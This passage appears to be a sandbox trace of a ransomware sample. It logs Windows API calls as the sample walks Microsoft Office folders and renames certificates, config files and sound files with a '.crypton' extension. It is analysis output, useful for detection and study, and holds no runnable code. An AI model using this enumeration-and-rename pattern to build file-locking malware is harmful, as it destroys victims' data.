office\\office14\\forms\\1033\\schdreq.cfg.crypton"), dwFlags=0x2) returned 1 [0100.291] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESN.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresn.cfg.crypton"), dwFlags=0x2) returned 1 [0100.294] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg.crypton"), dwFlags=0x2) returned 1 [0100.297] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdrest.cfg.crypton"), dwFlags=0x2) returned 1 [0100.300] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secrec.cfg.crypton"), dwFlags=0x2) returned 1 [0100.303] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg.crypton"), dwFlags=0x2) returned 1 [0100.306] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg.crypton"), dwFlags=0x2) returned 1 [0100.308] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg.crypton"), dwFlags=0x2) returned 1 [0100.312] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg.crypton"), dwFlags=0x2) returned 1 [0100.315] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg.crypton"), dwFlags=0x2) returned 1 [0100.321] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg.crypton"), dwFlags=0x2) returned 1 [0100.324] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg.crypton"), dwFlags=0x2) returned 1 [0100.328] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg.crypton"), dwFlags=0x2) returned 1 [0100.338] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg.crypton"), dwFlags=0x2) returned 1 [0100.342] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg.crypton"), dwFlags=0x2) returned 1 [0100.349] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb92ab780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb92ab780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0100.350] GetFileType (hFile=0x198) returned 0x1 [0100.354] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb92d18e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb92d18e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0100.363] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb92d18e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb92d18e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0100.364] GetFileType (hFile=0x1a8) returned 0x1 [0100.370] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb92f7a40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb92f7a40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0100.373] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\signedcomponents.cer"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\signedcomponents.cer.crypton"), dwFlags=0x2) returned 1 [0100.375] GetFileType (hFile=0x1a8) returned 0x1 [0100.380] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb92f7a40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb92f7a40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0100.382] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\signedmanagedobjects.cer"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\signedmanagedobjects.cer.crypton"), dwFlags=0x2) returned 1 [0100.384] GetFileType (hFile=0x1a8) returned 0x1 [0100.388] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb931dba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb931dba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0100.391] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\management.cer"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\management.cer.crypton"), dwFlags=0x2) returned 1 [0100.394] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\RELAY.CER" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\relay.cer"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\RELAY.CER.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\relay.cer.crypton"), dwFlags=0x2) returned 1 [0100.396] GetFileType (hFile=0x174) returned 0x1 [0100.401] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9343d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb9343d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0100.406] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9343d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb9343d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x32000634, cFileName=".", cAlternateFileName="")) returned 0x549890 [0100.408] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_code_signing_2001-4_ca.cer"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_code_signing_2001-4_ca.cer.crypton"), dwFlags=0x2) returned 1 [0100.413] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_public_primary_ca.cer"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_public_primary_ca.cer.crypton"), dwFlags=0x2) returned 1 [0100.417] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\vs_componentsigningintermediate.cer"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\vs_componentsigningintermediate.cer.crypton"), dwFlags=0x2) returned 1 [0100.419] GetFileType (hFile=0x198) returned 0x1 [0100.423] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9369e60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb9369e60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0100.429] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb938ffc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb938ffc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0100.446] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\COUGH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\cough.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\COUGH.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\cough.wav.crypton"), dwFlags=0x2) returned 1 [0100.476] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\GIGGLE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\giggle.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\GIGGLE.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\giggle.wav.crypton"), dwFlags=0x2) returned 1 [0100.488] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\HICCUP.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\hiccup.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\HICCUP.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\hiccup.wav.crypton"), dwFlags=0x2) returned 1 [0100.499] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\MMHMM.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\mmhmm.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\MMHMM.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\mmhmm.wav.crypton"), dwFlags=0x2) returned 1 [0100.524] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\sneeze.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\sneeze.wav.crypton"), dwFlags=0x2) returned 1 [0100.546] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\throat.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\throat.wav.crypton"), dwFlags=0x2) returned 1 [0100.575] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\whistling.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\whistling.wav.crypton"), dwFlags=0x2) returned 1 [0100.585] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb950cd80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb950cd80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0100.604] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ALARM.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\alarm.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\ALARM.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\alarm.wav.crypton"), dwFlags=0x2) returned 1 [0100.662] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\BUZZ.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\buzz.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\BUZZ.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\buzz.wav.crypton"), dwFlags=0x2) returned 1 [0100.703] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\LASER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\laser.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\LASER.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\laser.wav.crypton"), dwFlags=0x2) returned 1 [0100.758] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\RADAR.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\radar.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\RADAR.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\radar.wav.crypton"), dwFlags=0x2) returned 1 [0100.792] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\TOOT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\toot.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\TOOT.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\toot.wav.crypton"), dwFlags=0x2) returned 1 [0100.826] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\VIBE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\vibe.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\VIBE.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\vibe.wav.crypton"), dwFlags=0x2) returned 1 [0100.852] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\WARN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\warn.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\WARN.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places\\warn.wav.crypton"), dwFlags=0x2) returned 1 [0100.858] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb97944e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb97944e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0100.886] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\CAN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\can.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\CAN.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\can.wav.crypton"), dwFlags=0x2) returned 1 [0100.910] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\COUPLER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\coupler.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\COUPLER.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\coupler.wav.crypton"), dwFlags=0x2) returned 1 [0100.935] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HORN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\horn.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HORN.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\horn.wav.crypton"), dwFlags=0x2) returned 1 [0100.961] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shot.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOT.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shot.wav.crypton"), dwFlags=0x2) returned 1 [0100.994] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOVEL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shovel.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOVEL.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shovel.wav.crypton"), dwFlags=0x2) returned 1 [0101.028] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SPLASH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\splash.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SPLASH.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\splash.wav.crypton"), dwFlags=0x2) returned 1 [0101.046] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\whoosh.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\WHOOSH.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\whoosh.wav.crypton"), dwFlags=0x2) returned 1 [0101.055] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, 